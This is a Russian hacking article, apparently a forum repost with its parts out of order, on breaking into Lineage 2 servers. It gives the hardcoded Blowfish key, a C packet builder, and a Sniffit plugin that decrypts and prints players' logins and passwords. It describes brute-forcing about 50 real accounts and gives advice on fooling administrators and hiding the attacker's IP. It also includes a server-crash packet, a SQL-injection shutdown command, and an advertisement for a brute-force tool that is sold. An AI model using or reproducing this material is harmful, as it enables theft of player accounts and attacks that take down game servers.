d4 15 00 00 // Item ID (0x15d4 - Tutorial Guide)
01 00 00 00 // Количество
05 00 00 00 00 00 00 00 00 00 00 00 00 00 // Заточка, квестовый итем, дропается или нет и ещё что-то
01 00 // тип шмотки
1d 26 14 40 // Object ID
7b 04 00 00 // Item ID (0x47b - Squire's pants)
01 00 00 00 // Количество
01 00 00 00 00 00 00 08 00 00 00 00 00 00
01 00 // тип шмотки
1c 26 14 40 // Object ID
7a 04 00 00 // Item ID (0x47a - Squire's Shirt)
01 00 00 00 // Количество
01 00 00 00 00 00 00 04 00 00 00 00 00 00
00 00 // тип шмотки
1b 26 14 40 // Object ID
0a 00 00 00 // Item ID (0x0a - dagger)
01 00 00 00 // Количество
00 00 00 00 00 00 80 00 00 00 00 00 00 00
00 00 // тип шмотки
1a 26 14 40 // Object ID
42 09 00 00 // Item ID (0x942 - Guild Member's Club)
01 00 00 00 // Количество
00 00 00 00 00 00 80 00 00 00 00 00 00 00
04 // тип пакета (Action)
51 14 10 48 // OID NPC
// далее идут координаты _нашего_ персонажа
c6 51 01 00 // X
52 45 02 00 // Y
b8 f2 ff ff // Z
00 // конец
Причём однократная посылка этого пакета - выделение NPC. Чтобы завести с ним диалог, нужно послать этот пакет
ещё раз.
Далее, когда открывается окно с выбором диалогов и вы выбираете пункт "Learn skills", клиент серверу отсылает вот
такой пакет:
21 // тип пакета (RequestBypassToServer)
6c 00 65 00 61 00 72 00 6e 00 5f 00 73 00 6b 00 69 00 6c 00 6c 00 00 // learn_skill
00 // конец
После вызова диалога со скиллами, вы можете либо посмотреть информацию о любом скилле с помощью:
6b // тип пакета (RequestAcquireSkillInfo)
10 00 00 00 // номер скилла
09 00 00 00 // уровень
Чтобы выучить этот скилл, посылается точно такой же пакет, но с типом 0x63 (RequestAcquireSkill)
1. отсутствие лимита на кол-во попыток авторизации
Это даёт возможность к бесконечному перебору паролей к тому или иному аккаунту. Я не буду
описывать как и чего, брутфорсер он и в Африке брутфорсер. Расскажу лишь о своём личном опыте
в этой области.
Испытание проводилось на [Ссылки могут видеть только зарегистрированные и активированные пользователи] - старый, вымирающий отечественный lineage2 C1OFF сервер
(с добавками из с3). Используя только ту информацию (ну и non-blocking sockets), что я
предоставил выше, был написан брутфорсер (переборщик логинов и паролей) и программа, которая
выдирает список ников, играющих в данный момент на сервере с '[Ссылки могут видеть только зарегистрированные и активированные пользователи]'.
Составил от балды список паролей типа 123456789, 0987654321 (на antaras.ru минимальная длина
пароля 8 символов - на всех серверах по-разному), список с никами,в данный момент играющих на
сервере геймеров,составил ~1500 строк. Переборщик я запускал с постороннего сервера, дабы не
палить свой ип. Итого, за ночь было вскрыто порядка 50 аккаунтов. Но, к сожалению, большая половина
аккаунтов были либо пусты, либо с персонажами маленького уровня. Зато остальная малая часть...
Скажу лишь, что суммарный урон, нанесённый геймерам, составил чуть больше 1ккк игровых денег (шмотом)
или порядка 400$ ,если переводить в реальные - хотя как сторгуешься. Но, честно говоря, он не
"составил", а "составил бы". Я, на самом деле, абсолютно ничего не взял с этих аккаунтов, а нашёл
немного иное приминение всему этому ;) Об этом ниже.
Есть 3 подводных камня во взломе аккаунтов этим методом.
Во-первых, если мы логинимся на сервер под взломанным аккаунтом, а владелец его юзает в данный
момент, то у него на экране появляется надпись, что кто-то ломится :/ Именно поэтому брутфорсер
я зарядил на ночь, а вообще это лучше делать утром. Но, по моему небольшому опыту, могу сказать,
что, то ли юзеры не обращают внимание на эту надпись, то ли не знают английского, то ли вообще
не умеют менять пароль, но у меня проблем с такими аккаунтами (на которых кто-то играл) не возникло.
Имею в виду, никто не сменил пароль из тех, кто меня пропалил.
Во-вторых, ник != логин. Моя программа брала ники игроков, которые играли на сервере, но отнюдь
не их логины. Но это тоже не особо серьёзная проблема в случае такого "массового" взлома, так как
даже если у человека с ником NICKNAME логин LOGINNAME, то обязательно найдётся кто-то с логином
NICKNAME и перебор паролей к нику NICKNAME не пройдёт напрасно, хоть мы взломаем и не этого
конкретного персонажа.
В-третьих, если вы раздели того или иного персонажа, он может обратиться к администрации и есть
вероятность, что ему всё вернут. Как это предотвратить? Я с этим не сталкивался, но, помыслив
логически, могу предположить, что:
Они всё вернут, если чел докажет, что его раздели. Вы же можете сказать в своё оправдание,
что купили у него всё за реал - это же нигде не фиксируется - а чел захотел вас кинуть. Для большей
убедительности, в момент "раздевания" переведите со своего кошелька на любой другой кругленькую
сумму и сделайте скриншот.
Но админы, в свою очередь ,могут посмотреть в логах и увидеть там тысячи попыток залогиниться, соответственно
дайте аккаунту недельки две отстоятся после взлома, пусть логи об атаке канут в лету. Также админы
могут обратить внимание на ип, с которого обычно заходит жертва и его несоответствие с тем, с которого
он был раздет. Тут уж.. Можете найти того, кто юзает этого же провайдера, либо воспользоваться его
услугами самостоятельно, либо сломать один из его боксов, либо пытаться обьяснить админам,
что он просто так ловко вас подставил.
Программ, которые реализуют описанный способ взлома Lineage2 аккаунтов, в интернете я не видел...
Именно поэтому решил написать и продавать свою - la2brute.5bb.ru.
Нужно признать, что с началом повального её использования, аккаунты ломать стало всё сложнее и сложнее.
Если я, после того как её написал (где-то в феврале 2006-го), на Российских популярных серверах мог
сломать по 30-50 аккаунтов за ночь, то сейчас эта цифра в 4-5 раз меньше.
И последнее, хочется отметить, что единственный сервер, который сделал-таки защиту от перебора, был la2.abyss.ru.
Хотя на самом деле, ещё на antaras.ru ввели защиту - блокирование аккаунта на 5 минут после 40-ка
ошибочных попыток залогиниться. Но при том массовом переборе, о котором я писал выше, эта защита
практически бесполезна.
2. Шифрование пакетов
Как я уже говорил выше, ключ, который используется для генерации подключей в логин сервере, постоянный.
Оно и понятно, ведь для вычисления всех значений P и S алгоритм шифрования Blowfish необходимо выполнить
521 раз. Если выполнять генерацию новых значений при каждом клиенте, это будет сжирать крайне много
системных ресурсов. Но дело в том, что l2j так и делает! Хоть ключ и постоянный, l2j генерирует подключи
для каждого соединения! Я не знаю, как офф версия (у меня её нет и её очень трудно достать), но l2j
доказывает, что нынешним компьютерам это вполне под силу.
А проблема заключается в том, что мы можем снифать чужие сеансы и с лёгкостью их расшифровывать,
вытаскивая логин и пароль. Так в чём же тогда смысл шифрования пакетов blowfish'ем?
Я написал плагин для sniffit версии 0.3.7.beta, который ловит и расшифровывает все пакеты, проходящие
через ваш компьютер и содержащие логин/пароль к lineage2 аккаунтам.
====> la2_plugin.plug <====
/*
Sniffit 0.3.7.beta LineAge2 c3 plugin
Allows to catch and decode la2 RequestAuthLogin packets *on the fly*
and dump login/passwords.
by darkgrey / m00.blackhat.ru
~broken
*/
#include "/usr/local/include/blowfish.h"
#define KEY_LEN 20
BF_KEY bfkey;
char key[] = "[;'.]94-31==-&%@!^+]";
void init_la2_plugin() {
printf("LineAge2 C3 plugin enabled\n\n");
BF_set_key(&bfkey, KEY_LEN, key);
}
void PL_la2_plugin (struct Plugin_data *PLD) {
int i = 0;
int count = (PLD->PL_info.DATA_len - 2) / 8;
char *ptr = PLD->PL_data;
unsigned char *ls_ip;
if(PLD->PL_info.DATA_len == 0x32 && PLD->PL_info.UDP_len == 0) {
ls_ip=(unsigned char *)&(PLD->PL_iphead.destination);
printf("Login Server ip: %u.%u.%u.%u\n",ls_ip[0],ls_ip[1],ls_ip[2],ls_ip[3]);
for(i = 0; i < count; i++)
BF_encrypt((BF_LONG *)((short*)ptr+1+i*4), &bfkey, BF_DECRYPT);
i = 2; printf("Login: ");
while(PLD->PL_data[i++] != '\x00' || i != 16)
printf("%c",PLD->PL_data[i]);
printf("\nPassword: ");
while(PLD->PL_data[i++] != '\x00' || PLD->PL_data[i] != '\x08')
printf("%c",PLD->PL_data[i]);
printf("\n");
}
}
/* eof */
====> sn_plugins.h <====
#define PLUGIN2_NAME "LineAge2 c3 Plugin"
#define PLUGIN2(x) PL_la2_plugin(x)
#define PLUGIN2_INIT() init_la2_plugin()
#include "la2_plugin.plug"
/* eof */
Для того, чтобы его использовать, вам нужно скопировать оба файла в каталог со sniffit. Ну и для
компиляции вам понадобится всё та же библиотека blowfish и соответствующая запись в make-файле.
m00.blackhat.ru/m00-la2sniff.jpg - демонстрирует работу переборщика паролей к lineage2 серверам
и параллельно запущенный sniffit с установленным плагином на примере [Ссылки могут видеть только зарегистрированные и активированные пользователи] (217.107.212.212 -
ип логин-сервера).
3. Удалённое определение версии lineage2 сервера
Помните я говорил, что последние 8 байт в пакетах логин-сервера отводятся под чексумму? Точнее, из них
предпоследние 4 :> А если вдруг оставить пакет без чексуммы, офф версия lineage сервера нас просто-
напросто дисконнектит. В l2j функция, которая проверяет чексумму возвращает true или false,
но почему-то возвращаемое значение не проверяется. То есть, фактически l2j не проверяет чексумму.
Соответственно, если дисконнект, то офф, если нет, то l2j.
4. Удалённое "подвешивание" login-сервера
Было замечено, что некоторые серверы на пакеты, не содержащие логина/пароля отвечают пакетом типа 0x03
(который означает, что вы успешно авторизованы). После чего начинают вести себя крайне нестабильно.
Я проверил это на 10-ти крупных С3 серверах, половина никак не отвечала на такой пакет, другая
отвечала пакетом 0x01 (авторизация не прошла), но только [Ссылки могут видеть только зарегистрированные и активированные пользователи] посылал 0x03 и на время прекращал
принимать входящие соединения (видимо, у них установлена система "авто-подъёма").
Для реализации программы, которая бы подвешивала la2.ru, вам нужно всего-лишь смешать выше-предоставленный
генератор пакетов с простым tcp-клиентом.
Бесконечный цикл посыла подобных пакетов приведёт к невозможности зайти на игровой сервер.
5. Клонирование
Уязвимость о которой сейчас пойдёт речь имела место быть в С1 версии ЛА2, поэтому особо заострять внимание
на ней не буду.
Суть заключалась в том, что мы, авторизовавшись на login-сервере 1 раз под одним аккаунтом, могли заходить
на game-сервер под этим же аккаунтом параллельно неограниченное число раз. Соответственно, можно было входить
в игру под одним и тем же персонажем сколько угодно.
Вторая возможность клонирования была описана в параграфе про IID и OID.
Клонирование предметов через WH, питомцев и тд рассматривать не буду, мне не кажется эта тема интересной, т.к.
на нормальных серверах это уже давно не работает.
6. Создание "мутантов" и смешение скиллов
Очень интересная тема. Первым кто реализовал программно эти идеи (в рунете) был hint.
Для начала, на сколько вам известно, в lineage существует несколько расс. За каждой из них закреплены свои
классы (маг и войн). Но класс одной рассы естесственно отличается от аналогичного класса другой рассы (скиллами).
А у рассы гномов нет класса магов вообще. Это было необходимое предисловие, чтобы понять смысл всего нижеописанного.
А теперь рассмотрим запрос на создание персонажа:
0B // тип пакета
45 00 6D 00 30 00 30 00 00 00 // ник перса
04 00 00 00 // расса
00 00 00 00 // пол
35 00 00 00 // начальная профессия (класс)
14 00 00 00 // 6 постоянных значений, я затрудняюсь сказать, что они значат
27 00 00 00 //
2D 00 00 00 //
1B 00 00 00 //
1D 00 00 00 //
0A 00 00 00 //
00 00 00 00 // тип волос
00 00 00 00 // цвет волос
00 00 00 00 // тип лица
Этот пакет создаст Гнома война с ником "m00" мужского пола.
Оказалось, что сервер (даже оффициальный) не проверяет соответствие рассы с выбраным классом. Это позволяет нам
создавать чаров одной рассы с классом совершенно другой (я их называю мутантами =)). Звучит, конечно, интересно, но
на самом деле мы имеем обычного чара со своими статами и скиллами, но с несвойственными ему текстурами. По идее
баг кроме фана нам ничего дать не может (фана ввиде светлого эльфа спойлящего мобов :)), но оказалось, что из этого,
на первый взгляд, неинтересного бага проистекают ещё два.
Насколько вы знаете, у каждой рассы есть свои NPC у которых берутся квесты на профессию и учатся скиллы. Так
вот, мутанты учат скиллы класса одной рассы у NPC другой рассы. К примеру, я, играя светлым эльфом, учил скилл
гномов "Spoil" у NPC эльфов. И тут встал вопрос, а кто мне тогда будет давать профессию и какую?
Дело в том, что скиллы даются в зависимости от профессии (в даном контексте "класса"), а вот квесты в
зависимости от рассы. То есть, может получится такое, что по достижению 20-го уровня и будучи гномом-спойлером,
вы сможете получить профессию "Elven Knight" (первая профессия светлых эльфов).
Но эта информация не подтверждена на практике.
Кстати говоря, считанное количество мутантов могут вообще учить скиллы.
А вообще, если говорить о скиллах, то в ла2 есть ещё один баг. LA2 офф клиент не проверяет соответствие уровня чара и
уровня доступного для изучения скилла. То есть, к примеру, будучи на 5-ом лвле human fighter'ом вы можете учить
mortal blow максимального уровня (при условии, что хватит SP). Это легко реализуется на пакетном уровне.
Ещё хочется добавить, что на l2j сервере какие-либо проверки вообще отсутствуют. То есть вы можете учить даже те
скиллы, которые доступны только GM-ам.
7. Бессмертие.
Вот мы и дошли до самой интересной темы, именуемой в простонародье - god mode.
Согласитесь, на сервере, где онлайн больше 1000 человек, быть бессмертным - одно удовольствие =)
Для начала, когда наступает бессмертие? На этот вопрос был дан банальный, но как оказалось точный ответ:
когда чар уже мёртв.
Казалось бы бред, но когда у персонажа 0 HP и он жив, его действительно невозможно убить (ну не савсем невозможно :) -
об этом ниже). Но как сделать, чтобы у чара был абсолютный 0 HP, он был жив и при этом ещё HP не восстанавливались?
Для начала рассмотрим вопрос с 0 HP. В la2 есть такой баг: если после смерти нажать на "return to the nearest village"
и сразу же завершить процесс l2.exe, чар появится в городе с абсолютным 0 HP и даже с баффами (если они до этого были).
Это свезано с тем, что после RequestRestartPoint-пакета клиент должен посылать пакет Apearing, после которого
собственно сервер и восстанавливает чару HP и убирает баффы. А так как клиент мы закрываем, он этот пакет
послать не успевает.
Кстати, почему я всё время говорю "абсолютный" 0? Дело в том, что на сервере HP хранятся в переменной типа float
(что самое интересное, клиенту пересылается оно в виде целого числа). То есть, если вы будете постепенно снижать
HP до 0 с помощью bleed или poison, то вы не получите абсолютный 0, а если HP не ноль, значит вы живы.
Поэтому единственный способ получить абсолютный 0 - это умереть.
Вот, делать 0 HP мы научились, теперь поговорим о том, как заморозить их на нуле.
1) Первым шагом в этом направлении было создание гнома-мага (как было описано в предыдущем параграфе). Скорее всего,
в следствие того, что у гномов нет такого класса как маг вообще, у него не регенерируются HP/MP. Соответственно,
проделав с таким гномом выше-упомянутые действия, получим бессмертного персонажа. Этот баг пофиксили практически везде.
2) Второй способ был открыт несколько позднее гномов-магов. Оказалось, что при выборе несуществующей рассы, создаются
бессмертные human'ы с любым классом. И самое интересное, что если таким способом создавать класс human mage, всё равно
получится human fighter, но с магическими скиллами.
У этих двух способов есть два очень весомых недостатка:
a) созданные персонажи не могут учить скиллы и получать профессию.
b) как вы понимаете, реген HP не работает вообще, соответственно вам придётся бегать бессмертным всё время.
3) А теперь, внимание, баг - который мне помог найти всё тот же hint.
Насколько вы знаете, в линейке есть такая штука как перевес. Когда вы загружены на 65%+, у вас падает скорость
бега, атаки и регенерации. Но мало кто знает, что если у вас 90%+, то помимо того, что вы не можете двигаться, у вас
не регенерируется HP! Но что толку от того, что, появившись после смерти в городе, вы будете стоять на месте бессмертным?
А тут нам поможет страйдер! Сев на него, вы сможете бегать с его скоростью при том, что HP всё равно не
регенерируется! Но тут есть тоже маленький подводный камень - на некоторых серверах (reborn.ru - C4) нельзя атаковать
будучи на страйдере. Тут уж ничего не поделаешь, могу посоветовать только пользоваться баффом blazing skin/freazing skin.
4) ну и последний баг с бессмертием - это demon's set. Это пожалуй самый старый баг на бессмертие и о нём в принципе все
знают. Завязан он на том, что у вас получается отрицательные хп и вас соответственно опять же нельзя убить.
Все вышеописанные типы бессмертия объединяет один серьёзный недостаток. Персонаж перестаёт быть бессмертным как только
у него каким-либо образом прибавится HP - в следствие lvlup'а или банального heal'а. Также он умирает от bleed, poison,
некоторых вампиризмов.
Ещё тут вспомнился баг с "fake death". На некоторых кривых явах после FD чары как бы так и остаются мёртвыми и их нельзя
атаковать пока они не сделают рестарт. Ну это так, к слову.
8. 'remote DoS' и что это даёт
Обычно уязвимости подобного рода особо не ценятся, так как более чем просто "поприкалываться" из них ничего
получить нельзя. LA2 же постоянно сохраняет состояние мира (через каждые Н-секунд - этот вопрос ещё точно не
изучен, да он и не так важен), чтобы после внезапного падения сделать откат. То есть, умея прогнозировать
(или провоцировать) падение game-сервера, мы получаем "власть над откатами". Что это значит? А то, что,
вас убили? Откат! Вас раздели? Откат!! У вас не получилось заточить шмотку? Откат!!!
Кроме того, есть очень ценные монстры, которые имеют очень большое resp time (fairy queen timinel - респ
5 часов, например) и присутствуют в единичном экземпляре. Убили, повалили сервер, сервер поднялся, моб снова
появился. В итоге время респа сокращается с 5 часов до 3-ёх минут.
Как же перегружать сервер?
Для l2j 100% рабочий способ - это кристализация.
72 // RequestCrystallizeItem
00 00 00 00 // OID предмета
FF FF FF FF // количество
Подставляем в этот пакет реальный OID предмета и отсылаем. На что сервер моментально падает.
Для проджектов тут всё сложнее. При шифровании пакетов неправильным ключём, сервер иногда падает. ПОчему? Если
ключи не совпадают, значит сервер при расшифровке получает совершенно рандомные значения (то есть ни то, что мы
зашифровывали). И выследить как раз ту последовательность значений, при которой сервер падает, у меня пока что
не получилось.
9. integer overflow в сетевом движке l2j
Ну и так, чтобы окончательно опровергнуть мнение о том, что в lineage2 нет серьёзных багов,
продемонстрирую вам целочисленное переполнение в сервере l2j в процедуре обработки клиентских
пакетов:
public void run()
{
_log.fine("loginserver thread[C] started");
int lengthHi = 0;
int lengthLo = 0;
int length = 0;
boolean checksumOk = false;
int sessionKey = -1;
String account = null;
String gameServerIp = null;
try
{
InetAddress adr = InetAddress.getByName(_gameServerHost);
gameServerIp = adr.getHostAddress();
Init startPacket = new Init();
_out.write(startPacket.getLength() & 0xff);
_out.write(startPacket.getLength() >> 8 & 0xff);
_out.write(startPacket.getContent());
_out.flush();
do
{
lengthLo = _in.read();
lengthHi = _in.read();
length = lengthHi * 256 + lengthLo;
if(lengthHi < 0)
{
_log.warning("Client terminated the connection.");
break;
}
byte incoming[] = new byte[length];
incoming[0] = (byte)lengthLo;
incoming[1] = (byte)lengthHi;
.................
Это конечно не савсем 'integer overflow' в классическом понимании этого словосочетания,
но приводит оно сначала к двух-байтному переполнению (off-by-two overflow), а затем к ...
Похожая уязвимость имеется в ла2 клиенте и l2walker'е. Они виснут, сжирая 100% процессорного времени.
Но их исходников у меня нет, но есть основание полагать, что там код несколько иной.
Кстати говоря, сервер L2J просто от и до заполнен подобными багами. Многие из них описаны на читерских форумах.
10. SQL-injection
Да, через этот баг в форумах было взломано, наверное, ещё больше серверов чем когда-то с помощью unicode-бага в
iis. Каково было моё удивление, когда я узнал, что он есть и в lineage. А оно в принципе и понятно,
многое из того, что мы передаём la2-серверу (тайтлы для членов клана, ник для игнора, список друзей и тд) сразу же
добавляется в серверную sql-базу. Соответственно, простой командой: /block 'SHUTDOWN-- мы можем выключить sql-сервер.
Больше всего поражает то, что админы, бравшиеся фиксить этот баг, в первую очередь фильтровали данные на слово
"SHUTDOWN--" и только потом догадались, что рестарт сервера - это самое минимальное из того, что можно сделать
используя этот баг.
Более подробно на этом баге я останавливаться не буду, так как он, пожалуй, самый серьёзный из того, что вообще
есть в линейке. Скажу лишь, что фиксят его крайне криво :)
11. Заточка
Мне кажется, баг с заточкой стоит на втором месте по востребованности после "дюпа".
Что такое заточка вообще? Это такой свиток, который позволяет улучшить характеристики той или иной шмотки, после
чего удаляется. Но улучшать можно отнюдь не до бесконечности. После +3 появляется вероятность того, что шмотка сломается.
Причём, чем выше степень "заточенности" вещи, тем больше вероятность её поломки (кстати, не факт, об этом ниже).
Как раз наличие вот этой переменной "вероятности" привело к появлению бесчисленного множества способов заточки.
К примеру, у кого-то вдруг каким-то чудом получилось заточить на +6, когда он ... бежал! И теперь этот человек пишет
на форумах, что это новый 100% способ точки. Также некоторые пишут, что лучше точить 1 раз на 1-ом уровне, лучше
точить гномом, также что вероятность зависит от "рекомендаций", от интеллекта (кстати, про INT мне сказал достаточно
просвещённый человек), лучше точить ночью, использовать soulshots, бить в этот момент моба, замерять время между
точками и так далее и тому подобное. Я, конечно, не могу спорить с этими высказываниями, так как я сам не опробовал
всё, что пишут на форумах, но знаю точно - за 100% способ заточки многие люди готовы выплатить неплохие деньги.
Следовательно, такого способа на публике к сожалению нет. А есть ли он вообще? Попробуем вместе в этом разобраться.
Для начала, давайте разберём то, как на пакетном уровне точится шмотка:
1-ый пакет - это когда в игре мы нажимаем правой кнопкой на заточке, то есть активируем её.
14 // тип пакета (UseItem)
86 a4 13 40 // OID заточки
00 00 00 00
После активации заточки мы выбираем тот предмет, который хотим точить:
58 // тип пакета (RequestEnchantItem)
74 a4 13 40 // OID предмета
Введение
[
1. Шифрование пакетов
2. Структура пакетов
3. Конструктор RequestAuthLogin-пакетов на Си
1. Процесс авторизации на сервере
2. Шифрование пакетов
3. Протокол
4. xID и ObjectID
5. Примеры пакетов:
a) скупка/продажа
b) личка
c) OID и IID
d) говорим с NPC на примере разучивания скиллов
1. отсутствие лимита на кол-во попыток авторизации
2. шифрование пакетов
3. Удалённое определение версии lineage2 сервера
4. Удалённое "подвешивание" login-сервера
5. Клонирование
6. Создание "мутантов" и смешение скиллов
7. Бессмертие
8. 'remote DoS' и что это даёт
9. integer overflow в сетевом движке l2j
10. SQL-injection
11. Заточка (или сказка о 100%-ом enchant'е)
12. Геодата (хождение сквозь стены)
13. Прикол с SocialAction (0x1b)
14. Баг в Ride (0x6a)
15. Выкидываем из игры чаров
16. Баг с RequestRestartPoint (оживление и побег из тюрьмы)
17. Раздеть чужого персонажа не зная ни логина, ни пароля - разве это реально?
18. Итог
Баги нового поколения
Пара слов о С4
Послесловие
Ссылки
Приложения к статье
Статьи
Что же такое lineage? Это представитель новомодного жанра (класса?) игрушек - MMORPG
(Massively Multiplayer Online Role-Playing Game). Я бы даже сказал один из самых
удачных и популярных, если не самый =). Конечно, трудно говорить о популярности этой
игры, т.к. посчитать точное количество "втянувшихся" в lineage, наверное, невозможно,
но такие серверы как [Ссылки могут видеть только зарегистрированные и активированные пользователи] (с максимально зарегистрированным онлайном в
10 000 человек) и оффициальный [Ссылки могут видеть только зарегистрированные и активированные пользователи] (со всеми 100 000, при том, что он платный)
дают понять, что цифра должна быть внушительной.
Суть игры заключается в том, что (как и в любой другой RPG) у вас есть свой персонаж и
огромный мир, в котором нужно добывать деньги, одежду, оружие, опыт. Для того, чтобы в конечном
итоге драться с такими же как ты игроками и тешить своё самолюбие победами. Некоторым людям,
у которых ну никак не ладится реальная жизнь, она позволяет самореализоваться в виртуальном мире -
стать известным воином и даже найти невесту (да, девушек в lineage играет тоже немало).
Среди всех остальных online (да и не только online) игр, lineage подкупает своей
графикой. Мне лично поначалу казалось невероятным, что кто-то смог создать такие
чудесные трёхмерные красоты для простой игры.
Но есть у игры и тёмные стороны. Во-первых, она имеет свойство затягивать. Причём не
просто затягивать, а вызывать зависимость, с которой крайне сложно бороться. Во-вторых,
сами понимаете, в индустрии, в которой крутятся сотни тысяч игроманов из практически
всех слоёв общества, дело без денег не обойдётся (как и всё в нашей жизни). Ведь у
некоторых людей, имеющих семью, работу, просто нет времени на то, чтобы месяцами
прокачивать своего персонажа до нужного уровня. Такая геймерская прослойка породила
на свет личностей, которые начали продавать игровые уровни и вещи за реальные деньги,
создав тем самым новую нишу в мире lineage. На данный момент, в зависимости от величины
сервера (и рейтов), стоимость хорошо одетого персонажа высокого уровня может варьироваться
от 300$ (на умирающем [Ссылки могут видеть только зарегистрированные и активированные пользователи]) до 5 000$ на официальном сервере. Самое смешное-
это покупка вещей у администрации того или иного сервера. Вдумайтесь, геймер платит
N-ное количество убитых енотов за то, чтобы админ добавил 1 запись в базу данных игры.
Вот как делают деньги из воздуха.
Что же, я что-то увлёкся описанием игры ) Сказывается год ,на неё потраченный.
Безусловно, в подобной индустрии (где закручены деньги и тучи наивных и, порой глупых
геймеров) дело без нас - пытливых умов - обойтись не может. Кто-то покупает персонажей,
кто-то создаёт и прокачивает сам, мы же выбираем третий, непроторённый путь.
Дело в том, что за несколько лет существования этой игры, в ней не было найдено не одной
уязвимости (за исключением сугубо игровых багов), для неё не было написано не одной программы,
которая могла бы открыть злоумышленникам доступ в чужие аккаунты. А знаете почему?
Мне кажется, молодых, неопытных багоискателей (постами которых пестрит bugtraq) отталкивало злое
шифрование пакетов в lineage. Причём, даже в расшифрованном виде, они представляют собой
беспорядочный набор символов.
Может быть, старички помнят мою статью про протокол клиент-серверного взаимодействия и
уязвимости Half-Life ([Ссылки могут видеть только зарегистрированные и активированные пользователи]). Целью той статьи было
описать игру и предоставить на блюдечке почти всё, чего я достиг в её изучении. В этой же статье
я поведаю как же расшифровывать траффик lineage2, расскажу немного об особенностях
протокола, ну и предоставлю несколько наработок (как своих так и чужих), все остальное
публиковать не буду, так как повальное использование оного может привести к хаосу в этом
прекрасном, сбалансированном и вполне сформировавшемся виртуальном мире =)
1. сразу предупреждаю, я иногда буду возвращаться к статье про half-life, ибо аналогии помогут
вам легче понять написанное. Да и мне писать проще.
2. статья писалась на основе анализа расшифрованных пакетов и изучения исходного
кода "самопального" lineage2 сервера l2j, написанного на яве. Соответственно, статья 100%
действительна для l2j, а для официального настолько, насколько l2j действителен для него =)
3. все исходники написаны под linux. Для компиляции нужна либла blowfish. Либлы из openssl
package подойдут при маленькой модификации кода.
4. кстати о модификации кода. В исходниках, предоставленных в статье, есть небольшие ошибки
в логике, дабы исключить их бездумное использование. Если вы вникнете в статью, то и пофиксить
их не будет проблемой.
5. и последнее. Полная версия статьи была доступна долгое время (пол года) только ограниченному
числу людей и с выходом с4 версии lineage2 и фиксами большинства багов резко устарела.
Про С4 я расскажу немного в конце.
Введение.
Начнём с того, что разработчики lineage2 отделили логин сервер от игрового, дабы более менее
разгрузить и без того забитый канал игрового сервера. Кроме того, логин сервер имеет свойство
повисать (причём, это началось с с3 версии lineage и продолжается по сей день) и не пускать
пользователей на сервер. Зато те, кто уже играют, не испытывают совершенно никакого дискомфорта =)
А вследствие отсутсвия всё тех же багоискателей, которые могли бы найти и внятно объяснить девелоперам,
где же всё-таки закрался баг, он остаётся до сих пор непофиксанным. Так вот, не смотря на всю прелесть
идеи с разгрузкой игрового канала, наши отечественные админы упорно лепят логин сервер на одну машину
вместе с игровым.
Для шифрования пакетов, которыми login-сервер обменивается с клиентом, lineage использует blowfish.
Да, тот самый алгоритм, который был разработан Брюсом Шнейером в 1993 году. Про blowfish важно знать,
что это симметричный блочный шифр. Симметричный - означает, что алгоритм использует 1 секретный
ключ, которым и шифруются/дешифруются данные. А если говорить конкретно о blowfish, то на основе
этого ключа генерируются 18 32-битных подключей и 4 матрицы размером 256 32-битовых слов каждая.
Которыми, в свою очередь, шифруются/дешифруются данные.
Блочный шифр - означает, что blowfish обрабатывает данные блоками (по 8 байт). А ещё это означает,
что если целостность шифротекста была нарушена, то часть мы по-любому сможем восстановить.
Применительно к lineage, нужно сказать, что ключ, на основе которого генерируются подключи,
является константой и чётко прописан в исходниках l2j (вот на чём сыпались 99% исследователей
lineage, которые предполагали, что ключ должен передаваться в одном из пакетов - см. ссылки в
конце). Ещё важно отметить то, что первые 2 байта данных пакета _не_шифруются_.
Чтож, с шифрованием, я думаю, мы разобрались. Идём дальше.
Первые два байта пакета (те, которые не шифруются) содержат длину данных пакета (как и в halflife).
Следующий байт несёт в себе информацию о типе пакета. Логин-сервер обрабатывает пакеты:
0x00 - RequestAuthLogin (запрос на авторизацию - содержит логин и пароль)
0x02 - RequestServerLogin (запрос на заход на сервер)
0x05 - RequestServerList (запрос на список серверов)
На остальные он попросту не отвечает, оставляя лишь запись в логах. Клиентом же обрабатываются
пакеты следующих типов:
0x01 - авторизация не прошла
0x03 - вы успешно авторизованы
0x04 - ответ на RequestServerLogin
0x06 - ответ на RequestServerList
А также несколько дополнительные пакетов о бане аккаунта, проверки версии и тд - они представлены ниже.
Следующий байт является дополнительным к вышеописанным запросам. Например, если сервер ответил
нам на запрос авторизации пакетом типа 0x01, то следующий байт будет содержать причину, по
которой авторизация не прошла (для нас важны: 0x03 - неверный логин или пароль, 0x07 - кто-то уже
юзает аккаунт, 0x11 - установлен временный пароль). Но на самом деле этот байт уже не совсем служебный.
Например, в RequestAuthLogin пакетах с этого байта начинается логин.
Далее идёт Н-ное число байт, которые уже не являются управляющими, а несут информацию, определяемую
типом пакета. Ну, например, для "RequestAuthLogin" это поле содержит логин и пароль.
Важное предназначение имеют последние 8 байт пакета. Они содержат чексуму всего того, что идёт до
них, за исключением опять же первых двух байт пакета. Каким же образом вычисляется эта самая чексумма?
Из данных поочерёдно отделяются 32-битные слова. Первое XOR'ится со вторым. Результат этой операции
XOR'ится со следующим словом и так далее. Пример вычисления чексуммы будет продемонстрирован ниже.
/*
la2-example.c ~ LineAge2 c3 RequestAuthLogin packet constructor
Helps to understand lineage2 authentification.
darkgrey / m00.blackhat.ru
~broken
*/
#include "/usr/local/include/blowfish.h"
// длина ключа
#define KEY_LEN 20
// длина RequestAuthLogin пакета постоянна и равна AUTH_PKT_LEN + 2
#define AUTH_PKT_LEN 0x30
// ключ, на основе которого генерируются sub-keys (подключи)
char key[] = "[;'.]94-31==-&%@!^+]";
// структура bfkey, которая после генерации подключей будет содержать
// 18 P подключей и 4 S матрицы
BF_KEY bfkey;
// функция, которая вычисляет чексумму и вставляет её в пакет
int add_ckecksum(char *raw, int count) {
long chksum = 0L;
int i = 0;
long ecx;
for(i = 0; i < count; i += 4) {
ecx = raw[i];
ecx |= raw[i + 1];
ecx |= raw[i + 2];
ecx |= raw[i + 3];
chksum ^= ecx;
}
printf("checksum: 0x%x\n",chksum);
memcpy(raw+count, (char *)&chksum, 4);
}
// добавляет логин и пароль в пакет (отделено от основной функции
// из соображений читабельности)
int add_lp(char *raw, char *l, char *p) {
l[15] = '\0';
p[17] = '\0';
memcpy(raw+3,l,strlen(l));
memcpy(raw+17,p,strlen(p));
}
// выводит на экран пакет в читабельном виде (для отладки)
int print_packet(char *raw, int len) {
int i, c = 0;
for(i=0;i<54;i++) printf("_");
for(i=0;i<len+2;i++) {
if((c % 0x10)==0) printf("\n0x%.2x | ", c);
printf("%.2x ",raw[i] & 0xFF);
c++;
}
